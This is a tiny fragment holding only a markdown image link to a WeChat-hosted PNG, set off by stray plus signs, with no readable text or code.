+![](https://mmbiz.qpic.cn/mmbiz_png/apNprpz3YS51gqsJwIM82Y5RTicXUygDUxQ76EiavrIibm8L0BUzdF6veUR4dQOKJn2iaEFQlNeq0PIPSFXTibx0OZw/640?wx_fmt=png&from=appmsg "") + +